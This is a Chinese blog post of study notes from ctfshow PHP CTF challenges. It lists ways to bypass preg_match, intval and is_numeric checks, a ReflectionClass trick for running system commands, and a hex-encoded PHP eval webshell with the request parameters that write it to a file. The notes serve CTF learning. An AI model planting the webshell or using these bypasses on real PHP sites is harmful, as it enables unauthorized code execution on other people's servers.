ziwei233

  博客园  :: 首页  :: 新随笔  :: 联系 :: 订阅 订阅  :: 管理

这里是根据ctfshow php特性做的题积累的知识

1.preg_match()函数

可以利用数组绕过,因为preg_match只能处理字符串,所以当传入的subject是数组时会返回false

2.intval()函数!!!

如果是字符串,它返回的内容取决于字符串最左侧的字符。如intval(‘11a0’)=11。所有输入的内容加上一个字母,就可以绕过和满足上述的两个条件限制。

当弱比较不能等于xxx,intval()结果是xxx时
试试e这个字母,e这个字母比较特殊,可以在PHP中不是科学计数法。比如4476e123在intval()中=4476

转换进制可以绕过过滤,16进制前加0x,8进制前加0,如4476=010574

把0过滤了可以试试加小数点绕过,或者用加号或者空格绕过,如4476.0,+4476(+的话,url解码会认为是空格,或者输入%2b,解码为+,空格%20,或者(space)也可以绕过。)

+号绕过和进制绕过是可以叠加使用的

3.和$这种的正则匹配,只匹配一行。但是正则匹配/m可以执行多行匹配。

所以第一层条件是多行匹配php,第二层条件是单行匹配,这样就可以用换行符%0a绕过。
例子:
f(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){,
看到有/m就可以尝试

4.php三元运算符,

三元运算符:条件表达式?表达式1:表达式2=>条件为真,结果是表达式1;条件为假,结果是表达式2。
举例
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']'flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']
'flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:FILE);

有点晕,慢慢分析
1,先设定了一个$_GET 变量为数组,如果$_GET 变量不为空,则$_GET 变量和$_POST 变量指向同一个地址,即$_POST 变量内容改变,会影响$_GET 变量的内容。如果为空,整个三元表达式的结果为’flag’。就是如果echo这段代码的话,返回结果是flag。
2,$_GET['flag']'flag'?$_GET=&$_COOKIE:'flag';
如果flag变量值为’flag’,则$_GET 变量和$_COOKIE 变量指向同一个地址;否则返回flag。
3,$_GET['flag']
'flag'?$_GET=&$_SERVER:'flag';
如果flag变量值为’flag’,则$_GET 变量和$_SERVER 变量指向同一个地址;否则返回flag。
4,highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:FILE);
高亮输出结果。如果HTTP_FLAG变量值为’flag’,输出$flag,否则输出当前文件。
5,$_GET?$_GET=&$_POST:'flag';
如果执行了get传参让HTTP_FLAG=flag,那么也需要post传参相同。

5.is_numeric()函数

is_numeric() 函数用于检测变量是否为数字或数字字符串。
var_dump()函数可以输出多个值,一般需要变量输出多个字符串的时候使用

6.反射类Reflectionclass

官方解释为 ‘可以与已定义的类建立映射关系,通过反射类可以对类操作’并且‘反射类不仅仅可以建立对类的映射,也可以建立对PHP基本方法的映射,并且返回基本方法执行的情况。因此可以通过建立反射类new ReflectionClass(system('cmd'))来执行命令“
也就是说,这个函数可以返回代码运行结果,通常是echo new ReflectionClass,然后另一个变量输入命令,等后面继续遇到这种题在看看吧

7.hex2bin函数

hex2bin函数可以将16进制的数字转换为字符串,is_numeric在php5的环境中,是可以识别十六进制的,可以根据这个传马,举个例子
首先将我们的一句话编码成16进制

0x3c3f706870206576616c28245f504f53545b315d293b3f3e
接着直接传入v2=0x3c3f706870206576616c28245f504f53545b315d293b3f3e&v3=1.php
post:v1=hex2bin
即可完成木马的写入。

posted on 2024-04-14 15:23  子未233  阅读(11)  评论(0编辑  收藏  举报